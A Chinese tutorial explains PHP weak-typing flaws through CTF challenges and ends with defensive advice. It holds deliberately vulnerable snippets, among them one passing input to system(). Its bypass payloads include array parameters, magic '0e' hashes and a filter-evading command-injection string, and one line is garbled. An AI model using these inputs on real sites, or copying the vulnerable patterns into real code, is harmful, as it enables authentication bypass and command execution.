详解PHP弱类型安全问题
字数 1605 2025-08-12 11:33:58
PHP弱类型安全问题详解
一、PHP弱类型基础
PHP是一种弱类型语言,对变量的数据类型没有严格限制,可以在任何时候将变量赋值给任意其他类型的变量,也可以转换成任意其他类型的数据。这种特性在类型转换、不同类型比较和不合理传参时,可能造成意外执行结果和防御绕过。
1.1 类型转换
PHP常见的类型转换包括int转string和string转int:
int转string:
$var = 5;
$item = (string)$var; // 方式1
$item = strval($var); // 方式2
string转int:
var_dump(intval('2')); // 2
var_dump(intval('3abcd')); // 3
var_dump(intval('abcd')); // 0
intval()转换规则:从字符串开始转换直到遇到非数字字符。无法转换时返回0而不报错。
1.2 比较操作符
PHP有三个等号(===)和两个等号(==):
===:比较类型和值==:先转化为同一类型再比较
示例:
var_dump(1 == '1a'); // true
var_dump(null==false); // true
var_dump(0==false); // true
var_dump(0==null); // true
二、比较操作符安全问题
2.1 整形与字符串比较
整形与字符串比较时,字符串会转为整形:
var_dump(0 == 'a'); // true
2.2 Hash比较问题
符合\d+e\d+格式的字符串会被解析为科学计数法(如0e1=0*10=0)。如果哈希值以0e开头,比较时可能被绕过:
var_dump('0e481036490867661113260034900752' == '0'); // true
var_dump(md5('240610708') == md5('QNKCDZO')); // true
var_dump(sha1('aaroZmOk') == sha1('aaK1STfY')); // true
2.3 十六进制转换
PHP7以下版本,以0x开头的字符串会被转为十进制比较:
var_dump('0xccccccccc' == '54975581388'); // PHP7以下为true
例题:
function noother_says_correct($temp) {
$flag = 'flag{test}';
$number = '3735929054';
// 检查不能包含1-9的数字
for ($i = 0; $i < strlen($number); $i++) {
$digit = ord($temp{$i});
if (($digit >= ord('1')) && ($digit <= ord('9'))) {
return "false";
}
}
if($number == $temp) return $flag;
}
解法:将3735929054转为16进制deadc0de,传入?password=0xdeadc0de绕过。
三、内置函数松散性问题
3.1 md5()函数
md5()需要string参数,传入array时不会报错,返回NULL:
$a = array('1');
$b = array('2');
var_dump(md5($a)===md5($b)); // true
例题:
if ($_GET['username'] != $_GET['password'] && md5($_GET['username']) === md5($_GET['password'])) {
die('Flag: '.$flag);
}
解法:
- 传入数组:
?username[]=1&password[]=2 - 或传入特定MD5值
3.2 sha1()函数
类似md5(),sha1()也无法处理array参数:
if ($_GET['name'] != $_GET['password'] && sha1($_GET['name']) === sha1($_GET['password'])) {
die('Flag: '.$flag);
}
解法:name[]=1&password[]=3
3.3 strcmp()函数
strcmp(string $str1, string $str2)比较字符串,传入数组时返回NULL:
$a = ['2'];
$b = "1";
var_dump(strcmp($a,$b)==0); // true
例题:
if (strcmp($_GET['a'], $flag) == 0) {
die('Flag: '.$flag);
}
解法:a[]=
3.4 switch()语句
数字类型case判断时,参数会被转为int:
$i = "2qw";
switch ($i) {
case 0: case 1: case 2:
echo "2"; break; // 输出2
case 3: echo "3";
}
3.5 in_array()函数
默认松散比较,不判断类型:
$array = [0,1,2,'3'];
var_dump(in_array('abc', $array)); // true ('abc'转为0)
3.6 array_search()函数
默认松散比较:
$array = [1,"3"];
$key = "1a";
var_dump(array_search($key, $array)); // 0
3.7 strpos()函数
查找字符串位置,传入数组返回NULL:
if (strpos($_GET['nctf'], '#biubiubiu') !== FALSE) {
die('Flag: '.$flag);
}
解法:nctf[]=
3.8 is_numeric()函数
判断是否为数字,支持科学计数法和部分十六进制:
$temp = $_GET['password'];
is_numeric($temp)?die("no numeric"):NULL;
if($temp>1336) echo $flag;
解法:password=1337a
例题2:
if(!is_numeric($_GET['time'])){
echo 'The time must be number.';
}else if($_GET['time'] < 60*60*24*30*2){
echo 'This time is too short.';
}else if($_GET['time'] > 60*60*24*30*3){
echo 'This time is too long.';
}else{
sleep((int)$_GET['time']);
echo $flag;
}
解法:
- 科学计数法:
?time=5.276e6 - 十六进制:
?time=0x4F1A01
四、综合例题解析
4.1 [WUSTCTF2020]朴实无华
// level 1
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "通过";
}
// level 2
if ($md5==md5($md5)) {
echo "通过";
}
// get flag
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
system($get_flag);
}
解法:
- level1:
num=1e7(intval(\(num)=1,\)num+1=10000001) - level2:
md5=0e215962017(md5('0e215962017')=0e...) - get flag:
get_flag=ca\t%09fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag- 用
%09(tab)代替空格 - 用
ca\t绕过cat过滤
- 用
五、防御建议
- 严格比较使用
===而非== - 对用户输入进行严格类型检查
- 使用
is_int()而非is_numeric() - 设置
strict参数为true(如in_array($needle, $haystack, true)) - 对可能为数组的参数进行检查
- 使用最新PHP版本(许多弱类型问题在PHP7+已修复)
通过理解这些弱类型安全问题,开发者可以编写更安全的PHP代码,安全人员也能更好地发现和利用这些漏洞。